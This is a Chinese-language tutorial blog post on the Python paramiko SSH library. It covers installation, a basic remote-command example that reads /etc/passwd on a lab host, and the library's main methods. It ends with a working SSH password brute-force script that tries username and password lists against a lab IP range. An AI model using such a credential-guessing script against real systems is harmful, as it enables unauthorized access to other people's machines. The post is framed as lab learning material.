前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >python之paramiko模块

python之paramiko模块

作者头像
安恒网络空间安全讲武堂
发布2018-06-26 11:32:11
1.3K3
发布2018-06-26 11:32:11
举报

本文作者:hell0_w

砸个广告:各位在网络安全方面有新创作的小伙伴,快快将你们的心得砸过来吧~

文章以word形式发至邮箱:

minwei.wang@dbappsecurity.com.cn

有偿投稿,记得留下你的姓名联系方式喔~

这两天在学习python,在学习的过程中,

顺便记录一下,以便加深印象。

01

安装

pip install paramiko

easy_install paramiko

导入模块没问题,安装成功

02

简单的ssh示例

使用用户名密码认证的方式,调用exec_command()方法执行系统命令。

#coding:utf-8

import paramiko

host = "192.168.112.129"

port = 22

username = "msfadmin"

password = "msfadmin"

ssh = paramiko.SSHClient() #创建ssh客户端对象

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #允许连接不在know_hosts文件中的主机

ssh.connect(host,port,username,password)

stdin,stdout,stderr = ssh.exec_command('tail -5 /etc/passwd')

print stdout.read()

ssh.close()

运行结果:

03

paramkio核心组件

paramiko包含两个核心组件,一个是SSHClient类,还有一个就是FTPClient类了。

SSHClient是SSH服务会话的高级表示。常用方法有:

(1)connect方法

方法定义:

connect(self,hostname,port=22,username=None,password=None,pkey=None,key_filename=None,timeout=None,allow_agent=True,look_for_keys=True,compress=False)

pkey参数表示私钥方式用于身份验证

allow_agent设置为False时禁用连接到ssh代理

look_for_keys设置为False时禁用在~/.ssh/中搜索私钥文件。

(2)exec_command方法

远程命令执行方法。

(3)load_system_host_keys方法

加载本地公钥校验文件,默认路径为~/.ssh/known_hosts,非默认路径需要手工指定。

(4)set_missing_host_key_policy方法

设置连接的远程主机没有本地主机秘钥或者HostKeys对象时的策略,即允许连接不在know_hosts文件中的主机。

支持三种设置

AutoAddPolicy:自动添加主机名和秘钥到本地并保存,不依赖load_system_host_keys()的配置(上边的脚本使用的就是这种方式);

RejectPolicy:自动拒绝未知的主机名和秘钥,依赖load_system_host_keys();

WarningPolicy:类似于AutoAddPolicy,但是对未知的主机会有警告。

04

破解ssh口令的脚本

(脚本文档点击阅读原文获取,提取码:xza4)

#coding:utf-8

import paramiko

import threading

def ssh_connect(host,username,password):

try:

ssh = paramiko.SSHClient() #创建ssh客户端对象

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #允许连接不在know_hosts文件中的主机

ssh.connect(hostname=host,username=username,password=password,timeout=0.5)

ssh.close()

print "[+]successfully! username is " + username

print "[+]successfully! password is " + password

except:

print "[-]failed"

def ip():

ip_list = []

ip = "192.168.112."

for i in xrange(128,130):

ip += str(i)

ip_list.append(ip)

ip = "192.168.112."

return ip_list

def payloads_list():

ip_list = ip()

username_list = ['root','admin','msfadmin','anonymous','ftpuser']

password_list = ['password','123456','msfadmin']

payload = []

payloads = []

for a in ip_list:

for b in username_list:

for c in password_list:

payload.append(a)

payload.append(b)

payload.append(c) #把所需参数加入payload中

for i in range(0,len(payload),3):

payloads.append(payload[i:i+3]) #将payload切割,生成一一对应的参数放入新的列表中

return payloads

def attack():

payloads = payloads_list()

print "start attack"

for i in range(len(payloads)):

ssh_connect(payloads[i][0],payloads[i][1],payloads[i][2])

if __name__ == '__main__':

attack()

运行结果截图(部分)

跑的速度有点慢,本来想着用多线程,对多线程的使用不是很懂,在使用的过程中出现了问题,思来想去也不知道为啥(我菜鸡),代码如下:

运行结果:

若有知道的大佬还望不吝赐教。

-END-

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-05-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档